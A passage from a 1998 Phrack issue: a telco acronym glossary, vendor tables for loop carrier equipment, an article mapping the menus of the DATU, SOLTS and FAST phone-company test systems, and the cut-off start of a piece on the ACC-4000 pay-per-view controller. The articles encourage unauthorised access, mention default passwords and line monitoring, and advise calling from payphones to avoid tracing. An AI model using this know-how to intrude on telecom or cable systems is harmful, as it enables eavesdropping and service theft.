ISDN Integrated Services Digital Network

ISLU Integrated Services Line Unit

ITH Integral Test Head

LAC Loop Assignment Center

LAN Link to Alarm and Networks

LBO Line Build Out

LBRV Low Bit Rate Voice

LCRIS Loop Cable Record Inventory System

LDS Local Digital Switch

LDU Load Distribution Unit

LEC Loop Electronic Coordinator

LED Light Emitting Diode

LFACS Loop Facility Assignment and Control System

LFC Line Feeder Converter

LFU Line Fuse Unit

LIC Lightguide Interconnect Cable

LIT Line Insulation Test

LIU Line Interface Unit

LM Loop Multiplexer

LMOS Loop Maintenance Operating System

LOF Loss Of Frame

LOS Loss Of Second

LP Low Power

LRAP Long Route Analysis Program

LRD Long Route Design

LROPP Long Range Outside Plant Plan

LRT Local Remote Terminal

LS Loop Start

LSI Line Side In

LSO Line Side Out

LSS Loop Switching System

LSU Line Switching Unit

LT Line Terminal

LTC Local Test Cabinet

LTD Local Test Desk

M Mouth

MC Maintenance Center

MCC Master Control Center

MD Manufacture Discontinued

MDF Main Distributing Frame

MDS Metallic Distribution Shelf

MH Man Hole

MIU Metallic Interface Unit, Maintenance Interface Unit

MJ Major

MLT Mechanized Loop Testing

MM Material Management

MN Minor

MPP Miscellaneous Pair Panel

MR Meter Reading

MSDT Multi‑Services Distant Terminal

MTS Message Telephone Service

MVEC Majority Vote Error Correction

MWC Maintenance Work Center

MWG Maintenance Work Group

MWI Message Waiting Indication

MXU Multiplexer Unit

NAB Network Alarm Bus

NAIU Network Access Interface Unit

NCTE Network Channel Terminating Equipment

NE Near End

NEXT Near End Crosstalk

NIDB Network Interface Data Bus

NIU Network Interface Unit

NM New Manhole

NMA Network Monitoring and Analysis

NPA Numbering Plan Area

NT Network Termination

NTEC Network Terminal Equipment Center

NTP Non Trouble‑Clearing Procedure

OCU Office Channel Unit

OCUDP Office Channel Unit Dataport

OHCTL Overhead Controller

OHT On‑hook Transmission

OIC Optical Interconnect

OIU Office Interface Unit

OLIU Optical Line Interface Unit

ONI Operator Number Identification

ONU Optical Network Unit

OOS Out Of Service

OPE Outside Plant Engineer

OPS Off Premise Station

OPS/INE Operations System/Intelligent Network Element

ORB Office Repeater Bay

OSP Outside Plant

OSPE Outside Plant Engineer

OTU Office Timing Unit

OU Optical Units

OW Order Wire

PAM Pulse Amplitude Modulation

PAU Power Amplifier Unit

PBX Private Branch Exchange

PCM Pulse Code Modulation

PCU Power Converter Unit

PDC Provisioning Display Controller

PG Pair Gain

PGD Pair Group Display

PGP Pair Group Planning

PGS Pair Gain System

PGTC Pair Gain Test Controller

PIC Polyethylene Insulated Conductor

PICS Plug‑in Inventory Control System

PMN Power Minor

PMO Present Mode of Operation

POTS Plain Old Telephone Service

PRU Positive Ringing Unit

PTAB Port Test Alarm Bus

PU Power Unit

PWB Printed Wiring Board

R&R Remove and Reinstall

RCU Ring Control Unit

RCVG Receiving

RDES Remote Data Entry System

REN Ringer Equivalency Number

RLS Repeater Location Schematic

RMU Remote Measurement Unit, Remote Maintenance Unit

ROS Remote Operations Service

RPFT Remote Power Feed Terminal

RSB Repair Service Bureau

RSM Remote Switching Module

RT Remote Terminal

RTS Remote Test System

RTU Remote Test Unit

RZ Resistance Zone

S&E Service and Equipment

S‑E Signal‑End

S/I Signal to Interference

S/N Signal to Noise

S1DN Stage One Distributing Network

S1DP Stage One Distributing Panel

SAI Serving Area Interface

SARTS Switched Access Remote Testing System

SB Signal Battery

SCC Switching Control Center

SCCS Switching Control Center System

SCEC Secondary Channel Error Correction

SDDF Subscriber Digital Distributing Frame

SDFI Subscriber Digital Facility Interface

SDH Synchronous Digital Hierarchy

SDX Subscriber Digital Crossconnect

SEFS Severely Errored Framing Second

SES Severely Errored Seconds

SF Super Frame

SFIU Switching Facility Interface Unit

SG Signal Ground

SID System IDentification

SLC Subscriber Loop Carrier

SLIM Subscriber Line Interface Module

SM Switching Module

SMAS Switched Maintenance Access System

SMU System Memory Unit

SO Service Order

SONET Synchronous Optical Network

SP Standard Power, Special Protection

SPGM Suburban Pair Gain Planning

SPGPM Suburban Pair Gain Planning Method

SPOTS Special Plain Old Telephone Service

SPR Superimposed Ringing

SPTS Signaling Path Test Set

SSC Special Service Center

SSP Special Service Protection

SSU Special Service Unit

STIU Switching Transmission Interface Unit

STM Span Terminating Module

STS Synchronous Transport Signal

SXS Step‑by‑Step

SYSCTL System Controller

T‑BRITE T‑Basic Rate Interface Transmission Extension

TAD Trouble Analysis Data

TAP Trouble Analysis Procedure

TASC Telecommunications Alarm Surveillance Control System TASX Telecommunications Alarm Surveillance and Control System TAU Time Assignment Unit

TBCU Test Bus Control Unit

TBOS Telemetry Byte‑Oriented Serial

TCU TransCoder Unit

TD Toll Diversion

TDM Tandem

TFD Trunk Distributing Frame

TFIU Transmission Facility Interface Unit

TGS Synchronous Timing Generator

THC Test Head Controller

TIRKS Trunk Inventory and Record Keeping System

TLWS Trunk Line Work Station

TMC Time slot Management Channel

TMT Transmission Maintenance Terminal

TNO The New Order

TNOP Total Network Operating Plan

TO Transmission Only

TOC Task Oriented Costing

TOP Task Oriented Procedure

TPI Tip Party Identification

TRMTG Transmitting

TRU Transmit/Receive Unit

TSI Time Slot Interchange

TSU Transmission Signaling Unit

UAS UnAvailable Second

UIP User Interface Panel

UL Underwriters Laboratory

UNICCAP Universal Cable Circuit Analysis Program

USDL U‑interface Digital Subscriber Line

VF Voice Frequency

VRT Virtual Remote Terminal

VT Virtual Tributary

VTU Virtual Tributary Unit

WATS Wide Area Telephone Service

WC Wire Center

WCPC Wire Center Planning Center

WES Warranty Eligibility System

WORD Work Order Record Details

XADU eXtended Alarm Display Unit

XTC eXtended Test Controller

ZCS Zero Code Suppression

+‑‑‑‑‑‑‑‑‑‑‑‑‑+

| SLC Vendors |

+‑‑‑‑‑‑‑‑‑‑‑‑‑+

AT&T

12450 Fair Lakes Cir

Ste 302

Fairfax, VA 22033

Phone: (703) 802‑3853

Fax: (703) 802‑3853

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| SLC‑5 | SLC‑2000 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Maximum No. Subscriber Ports | 192 | 768 |

| Remote Terminal (qty. per 7‑ft. size) | 3 | 1 |

| Remote Inventory and Diagnostics | Y | Y |

| Identical Plug‑ins for RT and COT | Y | Y |

| Max. DS1 Span Lines Supported | 24 | 28 |

| Max. DS1 Span Lines Powered/Protected | 24 | 28 |

| Integrated DS‑3 Interface | N | N |

| Integrated Sonet Interface | | OC‑3 |

| TR‑008 Compatible Mode | Y | Y |

| TR‑303 Compatible Mode | Y | Y |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Fujitsu Network Communications Inc

2801 Telecom Parkway

Richardson, TX 75082

Phone: (800) 777‑3278

Fax: (214) 479‑6990

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| FDLC | FACTR |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Maximum No. Subscriber Ports | 192 | 1920 |

| Remote Terminal (qty. per 7‑ft. size) | 4 | 5 |

| Remote Inventory and Diagnostics | Y | Y |

| Identical Plug‑ins for RT and COT | Y | Y |

| Max. DS1 Span Lines Supported | 8 | 28 |

| Max. DS1 Span Lines Powered/Protected | 0 | 0 |

| Integrated DS‑3 Interface | N | N |

| Integrated Sonet Interface | N | Y |

| TR‑008 Compatible Mode | Y | Y |

| TR‑303 Compatible Mode | N | Y |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

NEC America Inc

14040 Park Center Rd

Herndon, VA 22071

Phone: (703) 834‑4000

Fax: (703) 834‑4306

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| ISC‑303 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Maximum No. Subscriber Ports | 192 |

| Remote Terminal (qty. per 7‑ft. size) | 10 |

| Remote Inventory and Diagnostics | Y |

| Identical Plug‑ins for RT and COT | Y |

| Max. DS1 Span Lines Supported | 5 |

| Max. DS1 Span Lines Powered/Protected | 0 |

| Integrated DS‑3 Interface | N |

| Integrated Sonet Interface | |

| TR‑008 Compatible Mode | Y |

| TR‑303 Compatible Mode | Y |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Northern Telecom, Inc.

Northern Telecom Limited

8220 Dixie Road

Suite 100

Brampton, Ontario

L6T 5P6 Canada

Phone: (905)863‑0000

Phone: (800)4‑NORTEL

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| DMS‑1 Urban | Access Node |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Maximum No. Subscriber Ports | 544 | 672 | | Remote Terminal (qty. per 7‑ft. size) | 0 | 1 | | Remote Inventory and Diagnostics | Y | Y | | Identical Plug‑ins for RT and COT | Y | Y | | Max. DS1 Span Lines Supported | 8 | 28 | | Max. DS1 Span Lines Powered/Protected | 8 | 0 | | Integrated DS‑3 Interface | N | Y | | Integrated Sonet Interface | N | Y | | TR‑008 Compatible Mode | Y | Y | | TR‑303 Compatible Mode | N | Y |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

RELTEC Corp

5875 Landerbrook Dr

Cleveland, OH 44124

Phone: (216)460‑3600

Fax: (216)460‑3690

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| DISCS 1 | Sonet DISCS | DISCS FITL |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Maximum No. Subscriber Ports | 672 | 2016 | 0 | | Remote Terminal (qty. per 7‑ft. size) | 672 | 672 | 672 | | Remote Inventory and Diagnostics | Y | Y | Y | | Identical Plug‑ins for RT and COT | Y | Y | Y | | Max. DS1 Span Lines Supported | 28 | 84 | 84 | | Max. DS1 Span Lines Powered/Protected | 0 | 0 | 0 | | Integrated DS‑3 Interface | N | N | N | | Integrated Sonet Interface | N | Y | Y | | TR‑008 Compatible Mode | Y | Y | Y | | TR‑303 Compatible Mode | Y | Y | Y |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Siescor Technologies, Inc. (A division of Raytheon)

Box 470580

Tulsa, OK 74147‑0580

Phone: (918)252‑1578

Fax: (918)252‑2757

E‑Mail: seiscor@raytheon.com

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| FiberTraq | S‑24DU | RLC‑1920 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Maximum No. Subscriber Ports | | | 1920 |

| Remote Terminal (qty. per 7‑ft. size) | | | |

| Remote Inventory and Diagnostics | | | |

| Identical Plug‑ins for RT and COT | | | |

| Max. DS1 Span Lines Supported | | |

| Max. DS1 Span Lines Powered/Protected | | | |

| Integrated DS‑3 Interface | | |

| Integrated Sonet Interface | | |

| TR‑008 Compatible Mode | | |

| TR‑303 Compatible Mode | | |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑[ EOF

Voice Response Systems

‑‑‑[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 12 of 20

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Voice Response Systems

‑‑‑‑‑‑‑‑[ Voyager[TNO]

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

I........................................Overview

II........................................DATU

III........................................SOLTS

IV........................................FAST

V........................................Conclusion

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

+‑‑‑‑‑‑‑‑‑‑

+ Part I +

+

+ ‑‑

+

+ Overview +

+‑‑‑‑‑‑‑‑‑‑

A VRS (Voice Response System) is a computer system that is called using a normal DTMF (Dual‑Tone Multi‑Frequency) telephone and interacted with by speaking or by pressing buttons on the telephone keypad.

This article will discuss three such systems which are used by LLC Local Loop Carriers (LLCs) to maintain the Public Switched Telephone Network (PSTN). The systems are:

. DATU

. SOLTS

. FAST

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

+ Part II +

+

+ ‑‑

+

+ DATU LC/RT Loop Conditioning System +

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I. Introduction

II. Features

III. Usage

IV. Part Numbers

Introduction

~~~~~~~~~~~~

The Harris Corporation's DATU Loop Conditioning System combines a full range of advanced features with unmatched versatility to help maximize field testing and conditioning capabilities. The DATU system extends the field technicians testing capabilities of subscriber lines through the non‑metallic environment of a pair gain system.

DATU is a printed wiring card that employs micro‑processor control of test functions and provides voice prompting. The card is installed in the Metallic Facility Terminal (MFT) frame and connected through a No‑Test trunk to a switching facility. It may be used with most types of Central Offices (CO) including SXS, Crossbar, ESS and DMS.

The DATU system can include the Pair Gain Applique (PGA) II, located with the DATU system at the CO, and the Metallic Access Unit (MAU), which is mounted within a remote terminal.

PGA units allow testing of subscriber lines being served through an SLC‑96 pair gain system. The PGA provides an interface between the DATU and a Pair Gain Control Unit. The DATU will transmit tones to assist in determining the status of the carrier channel. When a subscriber line is being served by a pair‑gain‑system and the DATU is used to test it, a warble tone is heard. The warble tone is followed by either a single one‑second tone, two one‑second tones, or three one‑second tones. This indicates either a single party channel, multi party channel or a coin channel. The absence of a tone indicates trouble with the channel or channel equipment.

Features

~~~~~~~~

AUDIO MONITOR ‑ The subscriber line may be monitored for up to 10 minutes, after which time the DATU disconnects from the No‑Test trunk. Audio Monitor may be used on either busy or idle lines. Traffic on a busy line will be audible but unintelligible. The Audio Monitor Mode may be exited before the end of the 10 minute period by selecting an appropriate test function.

OPEN LINE ‑ Opens subscriber line by removing battery and ground.

SHORT LINE ‑ A metallic short is placed across the tip and ring of the subscriber line.

SHORT TO GROUND ‑ A metallic connection between tip, ring, and ground. This feature is not available on a busy line.

TIP TO GROUND ‑ A metallic connection between tip and ground with the ring open.

RING TO GROUND ‑ A metallic connection between ring and ground with the tip open.

HIGH LEVEL TEST TONE ‑ A high level 577Hz metallic‑tracing tone, interrupted four times per second, for identity purposes. The High Level Test Tone is not available on a busy line.

HIGH LEVEL TONE ON TIP ‑ Test tone is placed only on the tip side of the line, with the ring side grounded.

HIGH LEVEL TONE ON RING ‑ Test tone is placed only on the ring side of the line, with the tip side grounded.

LOW LEVEL TEST TONE ‑ A low level 577Hz simplex‑tracing tone, interrupted four times per second, for identity purposes. The Low Level Test Tone may be applied even if the line under test is busy, and it will not disturb traffic on that line. Note that on some No.5 ESS switches, Simplex tone may not transmit.

SINGLE LINE ACCESS ‑ Allows conditioning functions on the same line used to access the DATU system.

HOLD ‑ Used to continue a line preparation function after disconnecting from the system's access line.

FORCED DISCONNECT ‑ Allows the technician to disconnect from the system at any time by dialing ##.

ADMINISTRATIVE ‑ Password protection for both user and administrator modes of access. System usage counters and timers are accessible through interactive voice response.

DATU Usage

~~~~~~~~~~

Dial DATU Number.

Dial User Security Code.

Dial 7 Digit Subscriber Number.

/ \

/ \

/ \

/ \

/ \

/ \

| |

Normal Subscriber Line SLC Subscriber Line

~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~

OK 8 second warble

| ‑then‑

| 60 IPM busy: Pair Gain Test Controller Alarm

| or‑

| 120 IPM Busy: Busy test pair

| or‑

| 1 second tone: One party line

| or‑

| 2 second tone: Two party line

| or‑

| 3 second tone: Pay phone

| or‑

| No tone: Bad carrier channel

|

| |

\ /

\ /

\ /

\ /

\ /

\ /

Enter DATU function code for condition:

1 Menu

2 Audio Monitor

3 Short Tip and Ring to Ground

4 High Level Coiling Tone

5 Low Level Simplex Tone

7 Short Tip to Ring

* Continue test after disconnect (1 = 1 minute, 0=10 minutes) # Enter new seven digit subscriber number

Harris DATU Part Numbers

~~~~~~~~~~~~~~~~~~~~~~~~

DATU‑LC Loop Conditioning System P/N 24820‑001

PGA IIS P/N 24810‑002

DATU‑RT Loop Conditioning System P/N 24820‑003

TSA P/N 24800‑103

DATU‑RT (GTD‑5 Version) P/N 24820‑005

TDC P/N 24800‑102

Metallic Access Unit P/N 24840‑002

MFT Card File P/N 25460‑002

Metallic Access Unit (RSU version) P/N 24845‑005

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

+ PART III +

+

+ ‑‑

+

+ Small Office Loop Testing System +

+

+ (SOLTS) +

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Small Office Loop Testing System (SOLTS) is a system used by telephone company field repair personnel to test a phone line from any touch‑tone telephone.

When dialing a SOLTS number, the first prompt is:

~Please enter ID, terminate with #~

SOLTS allows 30 seconds to enter a correct ID, then prompts:

~Please enter line number and press #~

SOLTS allows 60 seconds to enter a line number, then prompts:

~Select mode, for help enter 0~

SOLTS allows 60 seconds to choose one of six options:

Enter:

1) Interactive Testing

2) Calling on test line

3) Retrieve results

8) Hang up

9) Enter line number

0) Help

Option one allows testing the telephone line connected to the number entered in step two above. Option two tests the line the technician is calling from. Option three is used to retrieve the results generated using options one and two. Option eight disconnects from the system. Option nine allows a new line number to be entered for testing. Option zero accesses on‑line help.

Mode 1 ‑‑ Interactive Testing

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

#) Line test

1) Fault Location

2) Special tests

3) Completion Test

8) Hang up

9) Enter line number

0) Help

Line Test

~~~~~~~~~

Perform a line test on the number entered, then:

7) Repeat Results

8) Hang up

9) Enter line number

0) Help

Fault Location

~~~~~~~~~~~~~~

Performs initial line test on the number entered, then:

2) Next step

7) Repeat results

8) Hang up

9) Enter line number

0) Help

Special Tests

~~~~~~~~~~~~~

Performs initial line test on the number entered, then:

#) Repeat line test

2) Loop and Ground

3) Pull dial tone

5) Pair ID Tone

7) Repeat results

8) Hang up

9) Enter line number

0) Help

Completion Test

~~~~~~~~~~~~~~~

Performs a line test on the number entered, records the results, then requests:

7) Repeat results

8) Hang up

9) Enter line number

0) Help

Mode 2 ‑‑ Calling On Test Line

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

#) Line Test

3) Completion Test

8) Hang up

9) Enter line number

0) Help

Line Test

~~~~~~~~~

Performs a line test on the number entered, if line is busy requests Craft to hang up, performs a line test and stores the results.

8) Hang up

9) Enter line number

0) Help

Completion Test

~~~~~~~~~~~~~~~

Performs a line test on the number entered, if line is busy requests Craft to hang up, performs a line test, and records the results.

8) Hang up

9) Enter line number

0) Help

Mode 3 ‑‑ Retrieve Results

~~~~~~~~~~~~~~~~~~~~~~~~~~

States the stored results for the line number entered, then:

7) Repeat results

8) Hang up

9) Enter line number

0) Help

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

+ PART IV +

+

+ ‑‑

+

+ Field Access Service Tool +

+

+ (F.A.S.T.) +

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

When calling FAST, the first prompt is a request for a security code. The security code is usually the employee badge number. After the security code is entered and the # key is pressed, FAST will prompt for the password. The password is usually 4‑7 digits long and usually expires every 30 days. The default password is usually the security code. After the password is entered and the # key is pressed the FAST New Notices and Features are played.

After all of that, the FAST Main Menu is made available:

FAST Main Menu

1. Facilities Inquiry

2. MLT Test

3. Cut to new facilities

4. Change Status of a cable and pair

5. Test Caller‑ID

6. Close a Service Order

7. Cable transfer (for splicers)

8. Administrative

9. News and documentation

0. Connect call to Help Line

1:LFACS Inquiry

1. by phone number

2. by cable pair

1:Enter telephone number

1. Correct

2. Re‑enter

1. Current assignment

2. Spare pairs

3. Multiple appearances

1. F1 (feeder)

2. F2 (distribution)

3. F3 (if any)

4. All facilities in loop

2:Enter wire center NXX

1. Correct

2. Re‑enter

Enter cable number

1. Correct

2. Re‑enter

Enter pair count

1. Correct

2. Re‑enter

1. Current status

2. Spare pairs

3. Multiple appearances

4. Defective pair list

5. Another cable‑pair

6. Another pair, same cable

2:MLT test

1. Quick

2. Loop

3. Full

4. Add tone

5. Remove tone

Tone: Enter telephone number

1. Correct

2. Re‑enter

Add tone ‑ enter number of minutes of tone #

1. Another request

2. End call

3. Wait for tone

3:Cut to new facilities

1. Service Order

2. Trouble Ticket

1:Service Order

1. C‑Order

2. N‑Order

3. T‑Order

4. Other

Enter 6 digit numeric portion of order number

1. Correct

2. Re‑enter

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| Go to "Hear F1 assignment" below. |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

2:Trouble Ticket

Enter telephone number

1. Correct

2. Re‑enter

Hear F1 assignment

1. Cut

2. Keep

Hear F2 assignment

1. Cut

2. Keep

Hear F3 assignment

1. Cut

2. Keep

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Go to "Specify code for bad pair" below. |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

4:Change status of a cable/pair to defective or non‑defective

Specify code for bad pair

1. GTP

2. OPN

3. OTP

4. UBL

5. SHT

6. GRG

7. CBY

8. Other

Other

1. Non‑defective

2. Defective, unknown

3. Exposed

4. Split pair

5. Previous list

Specify pair to use

Enter new cable number or only # if no change

1. Correct

2. Re‑enter

Enter new pair number

1. Correct

2. Re‑enter

FAST pages the technician to indicate the success of the cut.

Note: If F1 is being cut both LFACS and COSMOS need updates. Two pager messages will be sent.

If CF pair is used as spare, information will be given to break connection.

5: Test Caller‑ID

Enter 7 digit telephone number to be called.

1. Correct

2. Re‑enter

3. Correct and calling from the number

6: Close Service Order

1. C‑Order

2. N‑Order

3. T‑Order

4. Other

Enter 6 digit numeric portion of order number

1. Correct

2. Re‑enter

1. Closed today

2. Closed yesterday

3. Other

7:Cable transfer

Enter TN from cut sheet

1. Correct EWO.xfer

2. Re‑enter TN

Enter first item number

Enter last item number

1. Correct

2. Re‑enter

To transfer this item:

1. Move to new equipment

2. Skip this item

8:Administrative

1. Change Password

2. Change 3 digit EC

3. Change 3 digit NPA

9:FAST News

0:FAST Help Line

Notes: When entering a variable number of digits, # is required to end entry. When entering a fixed number of digits, # is not required. Pressing 9 will always return to the main menu.

To enter alpha characters press * to enter alpha mode and then use the following key sequences. Use * again to exit alpha mode.

For example: Voy866 would be *836393*866.

A21

B21

C23

D31

E32

F33

G41

H42

I43

J51

K52

L53

M61

N62

O63

P71

Q01

R73

S73

T81

U82

V83

W91

X92

Y93

Z03

‑11

.12

+13

+‑‑‑‑‑‑‑‑‑‑

+ Part V +

+

+ ‑‑

+

+ Conclusion +

+‑‑‑‑‑‑‑‑‑‑

Voice Response Systems can be a great deal of fun, and they can be safely accessed from a public telephone. Don't play with these from home. VRSs are a great way to hack without using a computer.

For information on the Teradyne 4Tel VRS System, read the LOD/H Technical Journal, Issue #3: File 05 of 11: An Overview of the Teradyne 4Tel System by Doom Prophet LOD/H.

‑‑‑‑[ EOF

Pay Per View (you don't have to)

‑‑‑[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 13 of 20

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Pay Per View (you don't have to)

‑‑‑‑‑‑‑‑[ Cavalier[TNO]

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

I........................................Introduction

II........................................Automatic Windows

III........................................The Login Window

IV........................................The Main Menu

V........................................Other Menus

VI........................................Converter Types

VII........................................Scrambler Types

VIII........................................Scrambling Modes

IX........................................Security Notes

X........................................Conclusion

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

| Introduction |

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑'

General Instruments sells more cable television equipment than any other manufacturer. Included in their product range is the ACC‑4000. The ACC‑4000 is a system that controls Pay‑Per‑View television.

The ACC‑4000 is a PC running SCO Open Desktop v3.0. Earlier ACC‑4000s ran Interactive Unix. The interface for the ACC‑4000 is X‑Windows based, so you can hack your way to free pron through an attractive GUI.

The ACC‑4000 is often referred to as an addressable system. This means that each set‑top‑box can be addressed independently. This allows every subscriber to select their own programming ‑‑ and it allows the cable television company to bill the subscriber for every television show the subscriber selects.

The cable television signal is normally sent by satellite to a cable headend. To translate this into terms that may be more comfortable to Phrack readers, the cable head end is similar to a telephone company central office. At the headend, the signal is scrambled to make it more difficult to view without paying.

The ACC‑4000 then routes the signal from the headend to the appropriate set‑top‑boxes. It does this by merging control information into the data stream before the data stream reaches the set‑top‑boxes. The ACC‑4000 can talk to one‑way, FONE‑way, and two‑way set‑top‑boxes. The ACC‑4000 works over standard RF cable, fiber optics, microwave, and even telephone wiring.

The ACC‑4000 is capable of sending billing information to a cable television billing system, such as CableData, CSG, or Wizard.

The ACC‑4000 is a small system. The unit I examined was using a 486DX‑50 processor. Nevertheless, one ACC‑4000 can manage a half a million set top boxes.

Often you will find other General Instruments systems connected to the ACC‑4000. A Data Provider Translator system can take input from outside sources and merge them into the data stream going to the set‑top‑boxes. This provides features like program guides, VCR IR codes, weather data, Near‑Video‑On‑Demand (NVOD) schedules, or even custom logos and menus. A Message Editor system can be used to create custom "barker" messages for cable subscribers.

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

| Automatic Windows|

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑'

In addition to the login window, the ACC‑4000 opens two other types of windows automatically to display information on the console. Using Xwatchwin to view these windows remotely can help you figure out what is going on with the system. The Windows are:

. Logger Window . Wire Link X

The window titled "Logger Window" contains status and error messages.

The windows titled "Wire Link X" show data going from the ACC‑4000 out to other systems, usually the billing system. There is one "Wire Link X" window for each system the ACC‑4000 is feeding data.

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

| The Login Window |

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑'

The login window is extremely informative and looks something like this:

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| ACC4000 Help |

| ~

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|LOGIN | Login to ACC4000 | |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| General Instruments Addressable Control System |

|User Name: ############################# Password: ######## |

| COPYRIGHT (C) 1996. General Instrument Corporation |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Site Number: 866 Geocode: 303 Terminal: tno:0.0 Software Version: V8.66 |

|

| Number ANICS Installed: 1 Number of Subscriptions: 16 | | Parallel Data Streams: 1 1st Subscription Service Code: 1 | | List Maintenance: HOST Number of Simultaneous Events: 48 | | Number List Maps: 8 1st Event Service Code: 89 | | Return Frequency: 08.9 Mhz Data Stream Baud Rate: 13.97 Khz |

|

| Data Base Size: 288K Subscribers Converter ID Usage: 32K Groups |

|

| 1st group 1‑way 2nd group phone 3rd group phone 4th group 2‑way | | 5th group 2‑way 6th group 2‑way 7th group 2‑way 8th group 2‑way |

| 9th group 2‑way

|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Enter operator name

|

| F6:Clear Field F7:Field Help F8:Form Help |

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Site Number is assigned by General Instruments. This number is also stored in the set‑top‑box.

Geocode is a optional number that may be assigned by the cable television company to segment it's set‑top‑boxes into groups.

